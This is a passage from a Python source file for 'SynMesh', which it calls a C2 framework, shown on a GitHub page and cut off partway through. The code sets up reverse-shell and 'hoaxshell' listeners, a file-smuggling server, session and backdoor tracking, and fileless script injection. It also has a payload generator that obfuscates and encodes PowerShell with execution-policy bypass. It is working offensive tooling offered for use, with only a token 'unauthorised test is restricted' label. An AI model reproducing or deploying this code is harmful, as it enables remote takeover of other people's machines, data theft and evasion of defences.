-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsyn.py
More file actions
2278 lines (1933 loc) · 87.4 KB
/
Copy pathsyn.py
File metadata and controls
2278 lines (1933 loc) · 87.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
SynMesh - Advanced C2 Framework with Military-Grade UI
Author: SYLHETYHACKVENGER (THE-ERROR808)
Title: UNAUTHORISED TEST IS RESTRICTED
Version: 4.1.0
"""
import sys
import os
import re
import ssl
import time
import socket
import struct
import base64
import string
import random
import shutil
import signal
import ipaddress
import threading
import subprocess
import netifaces as ni
import readline as global_readline
from datetime import datetime
from uuid import uuid4, UUID
from copy import deepcopy
from ast import literal_eval
from hashlib import md5
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass, field
from functools import lru_cache
from http.server import HTTPServer, BaseHTTPRequestHandler
from platform import system as get_system_type
from warnings import filterwarnings
from importlib import import_module
try:
from Cryptodome.Cipher import AES
except ImportError:
from Crypto.Cipher import AES
# Suppress warnings
filterwarnings("ignore", category=DeprecationWarning)
# =============================================================================
# Color Definitions - Professional Terminal UI
# =============================================================================
class Colors:
"""ANSI color codes for terminal UI with fallback for non-TTY environments"""
if sys.stdout.isatty():
MAIN = '\033[38;5;85m'
GREEN = '\033[38;5;82m'
GRAY = '\033[38;5;246m'
PLOAD = '\033[38;5;246m'
NAME = '\033[38;5;228m'
RED = '\033[1;31m'
FAIL = '\033[1;91m'
ORANGE = '\033[0;38;5;214m'
LRED = '\033[0;38;5;196m'
BOLD = '\033[1m'
PURPLE = '\033[0;38;5;141m'
BLUE = '\033[0;38;5;12m'
CYAN = '\033[0;38;5;51m'
YELLOW = '\033[0;38;5;226m'
UNDERLINE = '\033[4m'
UNSTABLE = '\033[5m'
END = '\033[0m'
DIM = '\033[2m'
ITALIC = '\033[3m'
else:
MAIN = GREEN = GRAY = PLOAD = NAME = RED = FAIL = ORANGE = LRED = BOLD = ''
PURPLE = BLUE = CYAN = YELLOW = UNDERLINE = UNSTABLE = END = DIM = ITALIC = ''
# =============================================================================
# UI Components - Box Drawing
# =============================================================================
class Box:
"""Unicode box drawing characters for professional UI"""
H = '─'
V = '│'
TL = '┌'
TR = '┐'
BL = '└'
BR = '┘'
TH = '┬'
BH = '┴'
LH = '├'
RH = '┤'
C = '┼'
# Thick variants
TH_H = '━'
TH_V = '┃'
TH_TL = '┏'
TH_TR = '┓'
TH_BL = '┗'
TH_BR = '┛'
# Double lines
D_H = '═'
D_V = '║'
D_TL = '╔'
D_TR = '╗'
D_BL = '╚'
D_BR = '╝'
@staticmethod
def header(title: str, width: int = None) -> str:
"""Create a professional header box"""
if width is None:
width, _ = get_terminal_size()
width = min(width, 120)
title_len = len(strip_ansi_codes(title))
padding = max(0, (width - title_len - 4) // 2)
top = f"{Box.D_TL}{Box.D_H * (width - 2)}{Box.D_TR}"
mid = f"{Box.D_V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * padding}{Box.D_V}"
if len(strip_ansi_codes(mid)) < width - 1:
mid = f"{Box.D_V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * (padding + 1)}{Box.D_V}"
bot = f"{Box.D_BL}{Box.D_H * (width - 2)}{Box.D_BR}"
return f"{top}\n{mid}\n{bot}"
@staticmethod
def section(title: str, width: int = None) -> str:
"""Create a section header"""
if width is None:
width, _ = get_terminal_size()
width = min(width, 120)
title_len = len(strip_ansi_codes(title))
padding = max(0, (width - title_len - 4) // 2)
top = f"{Box.TL}{Box.H * (width - 2)}{Box.TR}"
mid = f"{Box.V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * padding}{Box.V}"
if len(strip_ansi_codes(mid)) < width - 1:
mid = f"{Box.V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * (padding + 1)}{Box.V}"
bot = f"{Box.BL}{Box.H * (width - 2)}{Box.BR}"
return f"{top}\n{mid}\n{bot}"
@staticmethod
def footer(text: str, width: int = None) -> str:
"""Create a footer box"""
if width is None:
width, _ = get_terminal_size()
width = min(width, 120)
top = f"{Box.BL}{Box.H * (width - 2)}{Box.BR}"
mid = f"{Box.V}{Colors.DIM}{text.center(width - 2)}{Colors.END}{Box.V}"
return f"{top}\n{mid}"
# =============================================================================
# Message Prefixes
# =============================================================================
INFO = f'{Colors.MAIN}Info{Colors.END}'
WARN = f'{Colors.ORANGE}Warning{Colors.END}'
IMPORTANT = f'{Colors.ORANGE}Important{Colors.END}'
FAILED = f'{Colors.RED}Fail{Colors.END}'
ERR = f'{Colors.LRED}Error{Colors.END}'
DEBUG = f'{Colors.ORANGE}Debug{Colors.END}'
CHAT = f'{Colors.BLUE}Chat{Colors.END}'
SUCCESS = f'{Colors.GREEN}Success{Colors.END}'
GRN_BUL = f'[{Colors.GREEN}*{Colors.END}]'
ATT = f'{Colors.ORANGE}[!]{Colors.END}'
META = f'[\033[38;5;93mM\033[38;5;129me\033[38;5;165mt\033[38;5;201ma\033[0m]'
# =============================================================================
# Banner - Must be exactly as provided
# =============================================================================
SYNMESH_BANNER = r"""
───────────────██████████───────
──────────────████████████──────
──────────────██────────██──────
──────────────██▄▄▄▄▄▄▄▄▄█──────
──────────────██▀███─███▀█──────
█─────────────▀█────────█▀──────
██──────────────────█───────────
─█──────────────██──────────────
█▄────────────████─██──████
─▄███████████████──██──██████
────█████████████──██──█████████
─────────────████──██─█████──███
──────────────███──██─█████──███
──────────────███─────█████████
──────────────██─────████████▀
────────────────██████████
────────────────██████████
─────────────────████████
──────────────────██████████▄▄
────────────────────█████████▀
─────────────────────████──███
────────────────────▄████▄──██
────────────────────██████───▀
────────────────────▀▄▄▄▄▀
"""
# =============================================================================
# UI Utilities
# =============================================================================
def get_terminal_size():
"""Safely get terminal dimensions with fallbacks"""
try:
cols, rows = shutil.get_terminal_size()
return cols, rows
except:
return 80, 24
def center_text(text: str, width: int = None) -> str:
"""Center text within terminal width"""
if width is None:
width, _ = get_terminal_size()
width = min(width, 120)
lines = text.split('\n')
centered = []
max_line_len = 0
for line in lines:
stripped = line.rstrip('\n')
clean_len = len(strip_ansi_codes(stripped))
if clean_len > max_line_len:
max_line_len = clean_len
for line in lines:
stripped = line.rstrip('\n')
clean_len = len(strip_ansi_codes(stripped))
padding = max(0, (width - clean_len) // 2)
centered.append(' ' * padding + stripped)
return '\n'.join(centered)
def print_banner():
"""Print the SynMesh banner with proper centering"""
cols, _ = get_terminal_size()
print('\n' + center_text(SYNMESH_BANNER, cols))
print()
# Author and title
author = f"{Colors.ORANGE}Author: SYLHETYHACKVENGER (THE-ERROR808){Colors.END}"
title = f"{Colors.RED}Title: UNAUTHORISED TEST IS RESTRICTED{Colors.END}"
width = max(len(strip_ansi_codes(author)), len(strip_ansi_codes(title)))
padding = max(0, (cols - width) // 2)
print(' ' * padding + author)
print(' ' * padding + title)
print()
def print_loading_animation(msg: str, duration: float = 2.0):
"""Print a loading animation with progress"""
frames = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']
start = time.time()
i = 0
while time.time() - start < duration:
frame = frames[i % len(frames)]
print(f'\r{Colors.CYAN}{frame}{Colors.END} {msg} ', end='')
i += 1
time.sleep(0.08)
print(f'\r{Colors.GREEN}✓{Colors.END} {msg} {Colors.DIM}Done{Colors.END}')
def print_status_line(label: str, status: str, status_type: str = 'info'):
"""Print a formatted status line"""
colors = {
'info': Colors.BLUE,
'success': Colors.GREEN,
'warning': Colors.YELLOW,
'error': Colors.RED
}
color = colors.get(status_type, Colors.BLUE)
print(f" {Colors.DIM}├─{Colors.END} {Colors.BOLD}{label}{Colors.END}: {color}{status}{Colors.END}")
def strip_ansi_codes(s: str) -> str:
"""Remove ANSI escape codes from string"""
s = re.sub(r'\033\[[0-9;]*[a-zA-Z]', '', s)
s = re.sub(r'\[[0-9]+(;[0-9]+)*m', '', s)
return s
# =============================================================================
# Network Interface Detection
# =============================================================================
class NetworkInterfaceManager:
"""Intelligently detect and manage network interfaces for Termux"""
PREFERRED_INTERFACES = ['wlan0', 'wlan1', 'eth0', 'eth1', 'rmnet_data0',
'rmnet_data1', 'rmnet_data2', 'rmnet_data3',
'usb0', 'usb1', 'usb2']
@staticmethod
def get_all_interfaces() -> Dict[str, List[str]]:
"""Get all available network interfaces with their IP addresses"""
interfaces = {}
try:
for iface in ni.interfaces():
try:
addrs = ni.ifaddresses(iface)
if ni.AF_INET in addrs:
interfaces[iface] = [addr['addr'] for addr in addrs[ni.AF_INET]]
else:
interfaces[iface] = []
except Exception:
interfaces[iface] = []
except Exception:
pass
return interfaces
@staticmethod
def get_preferred_interface() -> Optional[str]:
"""Get the best available network interface"""
interfaces = NetworkInterfaceManager.get_all_interfaces()
# First try preferred interfaces
for preferred in NetworkInterfaceManager.PREFERRED_INTERFACES:
if preferred in interfaces and interfaces[preferred]:
return preferred
# Then try any interface with an IP
for iface, addrs in interfaces.items():
if addrs:
return iface
return None
@staticmethod
def get_interface_ip(interface: str) -> Optional[str]:
"""Get IP address for a given interface"""
try:
addrs = ni.ifaddresses(interface)
if ni.AF_INET in addrs:
return addrs[ni.AF_INET][0]['addr']
except Exception:
pass
return None
@staticmethod
def list_interactive() -> Tuple[Optional[str], Optional[str]]:
"""Interactive interface selection with clear explanations"""
interfaces = NetworkInterfaceManager.get_all_interfaces()
if not interfaces:
print(f"{Colors.RED}No network interfaces found!{Colors.END}")
return None, None
# Filter interfaces with IP addresses
active = {iface: addrs for iface, addrs in interfaces.items() if addrs}
if not active:
print(f"{Colors.RED}No interfaces with IP addresses found!{Colors.END}")
return None, None
print(f"\n{Colors.CYAN}Available Network Interfaces:{Colors.END}")
print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
iface_list = list(active.keys())
for idx, iface in enumerate(iface_list):
ip = active[iface][0]
print(f" {Colors.GREEN}{idx + 1}.{Colors.END} {Colors.BOLD}{iface}{Colors.END} "
f"({Colors.ORANGE}{ip}{Colors.END})")
print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
print(f"\n{Colors.DIM}Select an interface by number (1-{len(iface_list)}) or enter manually:{Colors.END}")
while True:
try:
choice = input(f"{Colors.MAIN}Interface: {Colors.END}").strip()
if choice.isdigit():
idx = int(choice) - 1
if 0 <= idx < len(iface_list):
selected = iface_list[idx]
ip = active[selected][0]
print(f"\n{Colors.GREEN}Selected: {selected} ({ip}){Colors.END}")
return selected, ip
else:
print(f"{Colors.RED}Invalid selection. Please choose 1-{len(iface_list)}.{Colors.END}")
else:
if choice in interfaces:
if interfaces[choice]:
ip = interfaces[choice][0]
print(f"\n{Colors.GREEN}Selected: {choice} ({ip}){Colors.END}")
return choice, ip
else:
print(f"{Colors.RED}Interface {choice} has no IP address.{Colors.END}")
else:
print(f"{Colors.RED}Invalid interface name. Please try again.{Colors.END}")
except KeyboardInterrupt:
print("\n")
return None, None
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.END}")
# =============================================================================
# Core Settings
# =============================================================================
@dataclass
class CoreServerSettings:
bind_address: str = '0.0.0.0'
bind_port: int = 6501
ping_siblings_sleep_time: float = 4.0
timeout_for_command_output: int = 30
insecure: bool = False
@dataclass
class HoaxshellSettings:
bind_address: str = '0.0.0.0'
bind_port: int = 8080
bind_port_ssl: int = 443
ssl_support: bool = False
monitor_shell_state_freq: float = 3.0
server_version: str = 'Apache/2.4.1'
header: str = 'Authorization'
certfile: Optional[str] = None
keyfile: Optional[str] = None
@dataclass
class FileSmugglerSettings:
bind_address: str = '0.0.0.0'
bind_port: int = 8888
@dataclass
class TCPSockHandlerSettings:
bind_address: str = '0.0.0.0'
bind_port: int = 4443
sentinel_value: str = field(default_factory=lambda: uuid4().hex)
sock_timeout: int = 4
recv_timeout: int = 14
recv_timeout_buffer_size: int = 4096
await_execution_timeout: int = 90
alive_echo_exec_timeout: float = 2.5
fail_count: int = 3
hostname_filter: bool = True
@dataclass
class ThreadingParams:
MAX_THREADS: int = 140
thread_limiter: threading.BoundedSemaphore = field(
default_factory=lambda: threading.BoundedSemaphore(140)
)
@dataclass
class MainPrompt:
original_prompt: str = f"{Colors.UNDERLINE}SynMesh{Colors.END} > "
prompt: str = f"{Colors.UNDERLINE}SynMesh{Colors.END} > "
hoax_prompt: Optional[str] = None
ready: bool = True
SPACE: str = '#>SPACE$<#'
exec_active: bool = False
# Global instances
core_settings = CoreServerSettings()
hoax_settings = HoaxshellSettings()
file_settings = FileSmugglerSettings()
tcp_settings = TCPSockHandlerSettings()
thread_params = ThreadingParams()
main_prompt = MainPrompt()
# =============================================================================
# General Utility Functions
# =============================================================================
def get_datetime() -> str:
"""Get current datetime as formatted string"""
return datetime.now().strftime('%Y-%m-%d %H:%M:%S')
def get_random_str(length: int = 8) -> str:
"""Generate random alphanumeric string"""
chars = string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(length))
def get_file_contents(path: str, mode: str = 'rb') -> Optional[bytes]:
"""Safely read file contents"""
try:
with open(path, mode) as f:
return f.read()
except Exception:
return None
def is_valid_uuid(value: str) -> bool:
"""Validate UUID string"""
try:
UUID(str(value))
return True
except ValueError:
return False
def is_valid_ip(ip_addr: str) -> bool:
"""Validate IP address"""
try:
ipaddress.ip_address(ip_addr)
return True
except ValueError:
return False
def parse_lhost(lhost_value: str) -> Optional[str]:
"""Parse LHOST from IP, interface, or hostname"""
try:
return str(ipaddress.ip_address(lhost_value))
except ValueError:
try:
return ni.ifaddresses(lhost_value)[ni.AF_INET][0]['addr']
except Exception:
return None
def validate_host_address(addr: str) -> Optional[str]:
"""Validate and resolve host address"""
try:
return str(ipaddress.ip_address(addr))
except ValueError:
try:
return ni.ifaddresses(addr)[ni.AF_INET][0]['addr']
except Exception:
try:
if len(addr) > 255:
return None
if addr.endswith('.'):
addr = addr[:-1]
disallowed = re.compile(r"[^A-Z\d-]", re.IGNORECASE)
if all(len(p) and not p.startswith("-") and not p.endswith("-")
and not disallowed.search(p) for p in addr.split(".")):
socket.gethostbyname(addr)
return addr
except Exception:
pass
return None
def print_table(rows: List[Dict], columns: List[str], title: str = None):
"""Print formatted table with dynamic width adjustment"""
cols, _ = get_terminal_size()
cols = min(cols, 120)
if not rows:
print(f"{Colors.ORANGE}No data available.{Colors.END}")
return
# Calculate max content width
max_col_width = max(15, (cols - len(columns) - 4) // max(1, len(columns)))
max_col_width = min(max_col_width, 30)
# Build table data
table_data = [columns]
for row in rows:
row_data = []
for col in columns:
val = str(row.get(col, ''))
if len(val) > max_col_width - 2:
val = val[:max_col_width-5] + '..'
row_data.append(val)
table_data.append(row_data)
# Calculate column widths
col_widths = []
for i in range(len(columns)):
width = max(len(str(row[i])) for row in table_data)
col_widths.append(min(width, max_col_width))
# Ensure total width fits
total_width = sum(col_widths) + 2 * (len(columns) - 1) + 4
if total_width > cols and len(columns) > 1:
# Scale down columns
scale = (cols - 4 - 2 * len(columns)) / sum(col_widths)
col_widths = [max(3, int(w * scale)) for w in col_widths]
format_str = ' '.join([f"{{:<{w}}}" for w in col_widths])
# Print header
print()
if title:
print(f"{Colors.BOLD}{Colors.CYAN}{title}{Colors.END}")
print(f"{Colors.GRAY}{'─' * min(cols, sum(col_widths) + 2 * len(columns) + 2)}{Colors.END}")
print(f" {format_str.format(*columns)}")
print(' ' + ' '.join(['─' * w for w in col_widths]))
# Print data rows with color
for row in table_data[1:]:
# Apply colors based on status
for idx, col in enumerate(columns):
if col == 'Status':
if 'Lost' in row[idx] or 'Dead' in row[idx]:
row[idx] = f"{Colors.LRED}{row[idx]}{Colors.END}"
elif 'Unreachable' in row[idx] or 'Pending' in row[idx]:
row[idx] = f"{Colors.ORANGE}{row[idx]}{Colors.END}"
elif 'Active' in row[idx] or 'Connected' in row[idx]:
row[idx] = f"{Colors.GREEN}{row[idx]}{Colors.END}"
elif col == 'Stability':
if 'Unstable' in row[idx]:
row[idx] = f"{Colors.UNSTABLE}{row[idx]}{Colors.END}"
elif 'Stable' in row[idx]:
row[idx] = f"{Colors.GREEN}{row[idx]}{Colors.END}"
print(f" {format_str.format(*row)}")
print()
def print_columns(strings: List[str], title: str = None, cols: int = None):
"""Print strings in columns with dynamic sizing"""
term_cols, _ = get_terminal_size()
term_cols = min(term_cols, 120)
if not strings:
return
if title:
print(f"{Colors.BOLD}{Colors.CYAN}{title}{Colors.END}")
print(f"{Colors.GRAY}{'─' * min(term_cols, 60)}{Colors.END}")
max_len = max(len(s) for s in strings)
col_count = cols or max(1, term_cols // (max_len + 4))
col_count = min(col_count, len(strings))
rows = (len(strings) + col_count - 1) // col_count
for i in range(rows):
line = []
for j in range(col_count):
idx = i + j * rows
if idx < len(strings):
line.append(strings[idx].ljust(max_len + 2))
print(''.join(line).rstrip())
print()
# =============================================================================
# Encryption Utilities
# =============================================================================
def encrypt_msg(aes_key: bytes, msg: Union[str, bytes], iv: bytes) -> bytes:
"""Encrypt message using AES-CFB"""
cipher = AES.new(aes_key, AES.MODE_CFB, iv)
if isinstance(msg, str):
msg = msg.encode('utf-8')
cipher_text = cipher.encrypt(msg)
return base64.b64encode(cipher_text)
def decrypt_msg(aes_key: bytes, cipher: bytes, iv: bytes) -> str:
"""Decrypt message using AES-CFB"""
try:
cipher_suite = AES.new(aes_key, AES.MODE_CFB, iv)
plain_text = cipher_suite.decrypt(base64.b64decode(cipher + b'=='))
return plain_text.decode('utf-8', errors='ignore')
except Exception:
return ''
# =============================================================================
# Command Help System
# =============================================================================
class CommandHelp:
"""Command help and documentation system"""
COMMANDS = {
'connect': {
'details': """
Connect with another instance of SynMesh (sibling server). Once connected, you will be able to see
and interact with foreign shell sessions owned by sibling servers and vice-versa.
Usage: connect <IP> <TEAM_SERVER_PORT>
Example: connect 192.168.1.100 6501
""",
'least_args': 2,
'max_args': 2
},
'generate': {
'details': """
Generate a reverse shell command using payload templates.
Usage: generate payload=<OS_TYPE/HANDLER/TEMPLATE> lhost=<IP or INTERFACE> [obfuscate] [encode]
Examples:
generate payload=windows/reverse_tcp/powershell lhost=eth0
generate payload=linux/hoaxshell/sh_curl lhost=eth0 encode
Supported handlers: reverse_tcp, hoaxshell
""",
'least_args': 0,
'max_args': 7
},
'shell': {
'details': """
Enable an interactive pseudo-shell prompt for a shell session.
Usage: shell <SESSION_ID or ALIAS>
Example: shell abc123
Press Ctrl+C to exit the shell session.
""",
'least_args': 1,
'max_args': 1
},
'alias': {
'details': """
Set an alias for a shell session.
Usage: alias <ALIAS> <SESSION_ID>
Example: alias target1 abc123-def456-ghi789
""",
'least_args': 2,
'max_args': 2
},
'kill': {
'details': """
Terminate a self-owned shell session.
Usage: kill <SESSION_ID or ALIAS>
Example: kill abc123
""",
'least_args': 1,
'max_args': 1
},
'upload': {
'details': """
Upload files into an active shell session over HTTP.
Usage: upload <LOCAL_FILE> <REMOTE_PATH> <SESSION_ID>
Example: upload /path/to/file.exe C:\\Users\\Public\\file.exe abc123
""",
'least_args': 3,
'max_args': 3,
'shell': True
},
'inject': {
'details': """
Inject and execute a local script filelessly over HTTP.
Usage: inject <LOCAL_FILE_PATH>
Example: inject /path/to/script.ps1
""",
'least_args': 1,
'max_args': 1,
'shell': True
},
'sessions': {
'details': """
List all active shell sessions with their details.
Usage: sessions
""",
'least_args': 0,
'max_args': 0
},
'backdoors': {
'details': """
List active shell sessions with backdoor type information.
Usage: backdoors
""",
'least_args': 0,
'max_args': 0
},
'siblings': {
'details': """
List connected sibling servers.
Usage: siblings
""",
'least_args': 0,
'max_args': 0
},
'clear': {
'details': """
Clear the terminal screen.
Usage: clear
""",
'least_args': 0,
'max_args': 0
},
'exit': {
'details': """
Terminate all sessions and exit SynMesh.
Usage: exit
""",
'least_args': 0,
'max_args': 0
},
'flee': {
'details': """
Exit without terminating active sessions.
Usage: flee
""",
'least_args': 0,
'max_args': 0
}
}
@staticmethod
def print_help(cmd: Optional[str] = None):
"""Print help for commands"""
if cmd and cmd in CommandHelp.COMMANDS:
print(CommandHelp.COMMANDS[cmd]['details'])
return
# Print main help
print(f"""
{Colors.BOLD}SynMesh Commands:{Colors.END}
{Colors.GRAY}─────────────────────────────────────────────{Colors.END}
{Colors.GREEN}connect{Colors.END} Connect with a sibling server
{Colors.GREEN}generate{Colors.END} Generate reverse shell payloads
{Colors.GREEN}shell{Colors.END} Open interactive shell session
{Colors.GREEN}alias{Colors.END} Set alias for a session
{Colors.GREEN}kill{Colors.END} Terminate a session
{Colors.GREEN}upload{Colors.END} Upload files to session
{Colors.GREEN}inject{Colors.END} Fileless script execution
{Colors.GREEN}sessions{Colors.END} List active sessions
{Colors.GREEN}backdoors{Colors.END} List backdoor types
{Colors.GREEN}siblings{Colors.END} List sibling servers
{Colors.GREEN}clear{Colors.END} Clear screen
{Colors.GREEN}exit{Colors.END} Exit SynMesh
{Colors.GREEN}flee{Colors.END} Exit without killing sessions
{Colors.GRAY}─────────────────────────────────────────────{Colors.END}
Type: help <command> for detailed information
""")
# =============================================================================
# Session Manager
# =============================================================================
class SessionManager:
"""Manages active sessions and aliases"""
active_sessions: Dict[str, Dict] = {}
legit_session_ids: Dict[str, Dict] = {}
aliases: List[str] = []
shell_redirectors: Dict[str, str] = {}
sessions_graveyard: List[str] = []
verify: List[str] = []
get_cmd: List[str] = []
post_res: List[str] = []
@staticmethod
def get_session_id(identifier: str) -> Optional[str]:
"""Convert alias to session ID if needed"""
if identifier in SessionManager.active_sessions:
return identifier
# Check aliases
for sid, data in SessionManager.active_sessions.items():
if data.get('aliased') and data.get('alias') == identifier:
return sid
return None
@staticmethod
def list_sessions():
"""Display active sessions in table format"""
if not SessionManager.active_sessions:
print(f"{Colors.ORANGE}No active sessions.{Colors.END}")
return
rows = []
for sid, data in SessionManager.active_sessions.items():
row = {
'Session ID': data.get('alias', sid) if data.get('aliased') else sid[:12] + '...',
'IP Address': data.get('IP Address', 'Unknown'),
'OS Type': data.get('OS Type', 'Unknown'),
'User': data.get('Username', 'Unknown'),
'Owner': 'Self' if data.get('self_owned') else 'Sibling',
'Status': data.get('Status', 'Unknown')
}
rows.append(row)
print_table(rows, ['Session ID', 'IP Address', 'OS Type', 'User', 'Owner', 'Status'], 'Active Sessions')
@staticmethod
def list_backdoors():
"""Display backdoor types for active sessions"""
if not SessionManager.active_sessions:
print(f"{Colors.ORANGE}No active sessions.{Colors.END}")
return
rows = []
for sid, data in SessionManager.active_sessions.items():
row = {
'Session ID': data.get('alias', sid) if data.get('aliased') else sid[:12] + '...',
'IP Address': data.get('IP Address', 'Unknown'),
'Shell': data.get('Shell', 'Unknown'),
'Listener': data.get('Listener', 'Unknown'),
'Stability': data.get('Stability', 'Unknown'),
'Status': data.get('Status', 'Unknown')
}
rows.append(row)
print_table(rows, ['Session ID', 'IP Address', 'Shell', 'Listener', 'Stability', 'Status'], 'Backdoor Types')
@staticmethod
def kill_session(session_id: str):
"""Terminate a self-owned session"""
if session_id not in SessionManager.active_sessions:
print(f"{Colors.RED}Session not found.{Colors.END}")
return
if not SessionManager.active_sessions[session_id].get('self_owned', False):
print(f"{Colors.RED}Cannot kill session owned by sibling.{Colors.END}")
return
SessionManager.sessions_graveyard.append(session_id)
# Send exit command
if session_id in Hoaxshell.command_pool:
Hoaxshell.command_pool[session_id].append({'data': 'exit', 'issuer': 'self', 'quiet': True})
# Remove from active sessions
SessionManager.active_sessions.pop(session_id, None)
print(f"{Colors.GREEN}Session terminated.{Colors.END}")
# =============================================================================
# Payload Generator
# =============================================================================
class PayloadGenerator:
"""Generate reverse shell payloads from templates"""
def __init__(self):
self.pay = None
self.template = None
self.obfuscator = None
def encode_utf16(self, payload: str) -> str:
"""Encode payload in UTF-16LE for PowerShell"""
return "powershell -ep bypass -e " + base64.b64encode(payload.encode('utf-16le')).decode()
def generate_payload(self, args_list: List[str]):
"""Generate payload from command arguments"""
# Parse arguments
args_dict = {}
boolean_args = []
for arg in args_list:
if '=' in arg:
key, val = arg.split('=', 1)
args_dict[key.lower()] = val
else:
boolean_args.append(arg.lower())
# Check required arguments
if 'payload' not in args_dict:
print(f"{Colors.RED}Required argument PAYLOAD not supplied.{Colors.END}")
print(f"{Colors.DIM}Example: generate payload=linux/hoaxshell/sh_curl lhost=eth0{Colors.END}")
return
# Parse payload template
template_path = args_dict['payload'].lower().replace('/', '.')
try:
# Remove module from cache
module_name = f'Core.payload_templates.{template_path}'
sys.modules.pop(module_name, None)
# Import template
module = import_module(module_name, package=None)
payload_class = module.Payload()
# Check if LHOST is provided
if 'lhost' not in args_dict:
print(f"{Colors.RED}Required argument LHOST not supplied.{Colors.END}")
return
# Parse LHOST
lhost = parse_lhost(args_dict['lhost'])
if not lhost:
print(f"{Colors.RED}Failed to parse LHOST. Invalid IP, Interface, or Hostname.{Colors.END}")
return
# Process based on handler type
if payload_class.meta['handler'] == 'hoaxshell':
self._process_hoaxshell(payload_class, lhost)
elif payload_class.meta['handler'] in ['netcat', 'reverse_tcp']:
self._process_reverse_tcp(payload_class, lhost)
else:
print(f"{Colors.RED}Unsupported handler: {payload_class.meta['handler']}{Colors.END}")
return
# Apply obfuscation if requested
if 'obfuscate' in boolean_args and 'obfuscate' in payload_class.attrs:
payload_class.data = self._obfuscate_payload(payload_class.data)
if 'encode' in boolean_args and 'encode' in payload_class.attrs:
payload_class.data = self.encode_utf16(payload_class.data)
# Print payload
print(f"\n{Colors.PLOAD}{payload_class.data}{Colors.END}\n")
# Copy to clipboard
try:
import pyperclip
pyperclip.copy(payload_class.data)
print(f"{Colors.GREEN}Copied to clipboard!{Colors.END}")
except ImportError:
print(f"{Colors.DIM}Install pyperclip to enable clipboard copy.{Colors.END}")
except ImportError as e:
print(f"{Colors.RED}Payload template not found: {template_path}{Colors.END}")
print(f"{Colors.DIM}Error: {e}{Colors.END}")
except Exception as e:
